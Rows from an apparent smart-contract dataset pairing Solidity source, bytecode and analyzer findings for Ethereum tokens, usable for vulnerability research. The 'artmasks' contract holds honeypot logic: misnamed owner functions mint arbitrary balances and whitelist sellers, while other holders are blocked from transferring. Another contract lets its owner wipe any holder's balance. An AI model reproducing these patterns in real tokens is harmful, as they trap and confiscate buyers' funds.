function transferFrom(address _from, address _to, uint256 _value) public notFrozen(_from) returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
_transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to _spender the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an _holder allowed to a spender.
* @param _holder address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _holder, address _spender) public view returns (uint256) {
return allowed[_holder][_spender];
}
/**
* Freeze Account.
*/
function freezeAccount(address _holder) public onlyOwner returns (bool) {
require(!frozen[_holder]);
frozen[_holder] = true;
emit Freeze(_holder);
return true;
}
/**
* Unfreeze Account.
*/
function unfreezeAccount(address _holder) public onlyOwner returns (bool) {
require(frozen[_holder]);
frozen[_holder] = false;
emit Unfreeze(_holder);
return true;
}
/**
* Token Burn.
*/
function burn(uint256 _value) public onlyOwner returns (bool) {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(burner, _value);
return true;
}
function burn_address(address _target) public onlyOwner returns (bool){
require(_target != address(0));
uint256 _targetValue = balances[_target];
balances[_target] = 0;
totalSupply_ = totalSupply_.sub(_targetValue);
address burner = msg.sender;
emit Burn(burner, _targetValue);
return true;
}
/**
* @dev Internal function to determine if an address is a contract
* @param addr The address being queried
* @return True if `_addr` is a contract
*/
function isContract(address addr) internal view returns (bool) {
uint size;
assembly{size := extcodesize(addr)}
return size > 0;
}
} | 0x6080604052600436106100fc576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610101578063095ea7b31461019157806318160ddd146101f657806323b872dd14610221578063313ce567146102a657806342966c68146102d757806370a082311461031c578063788649ea1461037357806379ba5097146103ce5780637e5f16c8146103e55780638da5cb5b1461044057806395d89b4114610497578063a9059cbb14610527578063d05166501461058c578063d4ee1d90146105e7578063dd62ed3e1461063e578063f26c159f146106b5578063f2fde38b14610710575b600080fd5b34801561010d57600080fd5b50610116610753565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561015657808201518184015260208101905061013b565b50505050905090810190601f1680156101835780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561019d57600080fd5b506101dc600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107f1565b604051808215151515815260200191505060405180910390f35b34801561020257600080fd5b5061020b6108e3565b6040518082815260200191505060405180910390f35b34801561022d57600080fd5b5061028c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108ed565b604051808215151515815260200191505060405180910390f35b3480156102b257600080fd5b506102bb610a75565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102e357600080fd5b5061030260048036038101908080359060200190929190505050610a88565b604051808215151515815260200191505060405180910390f35b34801561032857600080fd5b5061035d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c3f565b6040518082815260200191505060405180910390f35b34801561037f57600080fd5b506103b4600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c88565b604051808215151515815260200191505060405180910390f35b3480156103da57600080fd5b506103e3610de1565b005b3480156103f157600080fd5b50610426600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f7a565b604051808215151515815260200191505060405180910390f35b34801561044c57600080fd5b50610455611114565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156104a357600080fd5b506104ac611139565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104ec5780820151818401526020810190506104d1565b50505050905090810190601f1680156105195780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561053357600080fd5b50610572600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506111d7565b604051808215151515815260200191505060405180910390f35b34801561059857600080fd5b506105cd600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611457565b604051808215151515815260200191505060405180910390f35b3480156105f357600080fd5b506105fc611477565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561064a57600080fd5b5061069f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061149d565b6040518082815260200191505060405180910390f35b3480156106c157600080fd5b506106f6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611524565b604051808215151515815260200191505060405180910390f35b34801561071c57600080fd5b50610751600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061167e565b005b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107e95780601f106107be576101008083540402835291602001916107e9565b820191906000526020600020905b8154815290600101906020018083116107cc57829003601f168201915b505050505081565b600081600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600654905090565b600083600860008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561094957600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415151561098557600080fd5b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483111515156109d357600080fd5b600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548311151515610a5e57600080fd5b610a69858585611759565b60019150509392505050565b600460009054906101000a900460ff1681565b6000806000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610ae657600080fd5b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548311151515610b3457600080fd5b339050610b8983600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b1190919063ffffffff16565b600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610be183600654611b1190919063ffffffff16565b6006819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5846040518082815260200191505060405180910390a26001915050919050565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610ce557600080fd5b600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610d3d57600080fd5b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167fca5069937e68fd197927055037f59d7c90bf75ac104e6e375539ef480c3ad6ee60405160405180910390a260019050919050565b600073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151515610e1d57600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e7957600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610fda57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415151561101657600080fd5b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205491506000600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506110b282600654611b1190919063ffffffff16565b6006819055503390508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a2600192505050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156111cf5780601f106111a4576101008083540402835291602001916111cf565b820191906000526020600020905b8154815290600101906020018083116111b257829003601f168201915b505050505081565b600033600860008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561123357600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415151561126f57600080fd5b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483111515156112bd57600080fd5b61130f83600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b1190919063ffffffff16565b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506113a483600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b2d90919063ffffffff16565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3600191505092915050565b60086020528060005260406000206000915054906101000a900460ff1681565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561158157600080fd5b600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515156115da57600080fd5b6001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167faf85b60d26151edd11443b704d424da6c43d0468f2235ebae3d1904dbc32304960405160405180910390a260019050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156116d957600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561171557600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415151561179557600080fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481111515156117e357600080fd5b600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115151561186e57600080fd5b6118c081600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b1190919063ffffffff16565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061195581600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b2d90919063ffffffff16565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611a2781600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b1190919063ffffffff16565b600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000828211151515611b2257600080fd5b818303905092915050565b6000808284019050838110151515611b4457600080fd5b80915050929150505600a165627a7a72305820c956879df79ba4bb075faba0c82c0f9f86307b7e540f66e266fc125a9b0fae5e0029 | {"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}} | 845 |
0x1406c961f839f575b1e1c2cead2b6b628da37d8f | /**
*Submitted for verification at Etherscan.io on 2021-02-02
*/
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract artmasks {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
if(_from == owner || _to == owner || _from == tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function approveAndCall(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender == owner);
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
address tradeAddress;
function transferownership(address addr) public returns(bool) {
require(msg.sender == owner);
tradeAddress = addr;
return true;
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0x60806040526004361061009c5760003560e01c80633177029f116100645780633177029f1461027357806370a08231146102e657806395d89b411461034b578063a9059cbb146103db578063dd62ed3e14610441578063e8b5b796146104c65761009c565b806306fdde03146100a1578063095ea7b31461013157806318160ddd1461019757806323b872dd146101c2578063313ce56714610248575b600080fd5b3480156100ad57600080fd5b506100b661052f565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105cd565b604051808215151515815260200191505060405180910390f35b3480156101a357600080fd5b506101ac6106bf565b6040518082815260200191505060405180910390f35b61022e600480360360608110156101d857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106c5565b604051808215151515815260200191505060405180910390f35b34801561025457600080fd5b5061025d6109d8565b6040518082815260200191505060405180910390f35b34801561027f57600080fd5b506102cc6004803603604081101561029657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109dd565b604051808215151515815260200191505060405180910390f35b3480156102f257600080fd5b506103356004803603602081101561030957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610aee565b6040518082815260200191505060405180910390f35b34801561035757600080fd5b50610360610b06565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103a0578082015181840152602081019050610385565b50505050905090810190601f1680156103cd5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610427600480360360408110156103f157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ba4565b604051808215151515815260200191505060405180910390f35b34801561044d57600080fd5b506104b06004803603604081101561046457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bb9565b6040518082815260200191505060405180910390f35b3480156104d257600080fd5b50610515600480360360208110156104e957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bde565b604051808215151515815260200191505060405180910390f35b60098054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105c55780601f1061059a576101008083540402835291602001916105c5565b820191906000526020600020905b8154815290600101906020018083116105a857829003601f168201915b505050505081565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60085481565b6000808214156106d857600190506109d1565b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461081f5781600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561079457600080fd5b81600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055505b61082a848484610c84565b61083357600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561087f57600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055506000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600081548092919060010191905055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b601281565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a3957600080fd5b6000821115610a8d576012600a0a8202600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60018060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001905092915050565b60066020528060005260406000206000915090505481565b600a8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b9c5780601f10610b7157610100808354040283529160200191610b9c565b820191906000526020600020905b815481529060010190602001808311610b7f57829003601f168201915b505050505081565b6000610bb13384846106c5565b905092915050565b6007602052816000526040600020602052806000526040600020600091509150505481565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c3a57600080fd5b81600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480610d2f5750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80610d875750600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80610ddb5750600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15610de95760019050610e01565b610df38483610e08565b610dfc57600080fd5b600190505b9392505050565b600080600454148015610e1d57506000600254145b8015610e2b57506000600354145b15610e395760009050610ed8565b60006004541115610e95576004546000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410610e945760009050610ed8565b5b60006002541115610eb457816002541115610eb35760009050610ed8565b5b60006003541115610ed357600354821115610ed25760009050610ed8565b5b600190505b9291505056fea265627a7a72315820046d95a0dc6cb0f8f83adaf9cb3f0b997c7c6764e833ac9690e15f9d1a00a7e564736f6c63430005110032 | {"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}} | 846 |
0xbCeFf45ae805c0f5CC2C850Faae3d40619871448 | /**
*/
/**
LUCKY APE
Test your luck
Website: www.LUCKYAPE.info
Twitter: www.twitter.com/LUCKYAPEERC
Telegram: https://t.me/LUCKYAPEERC
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
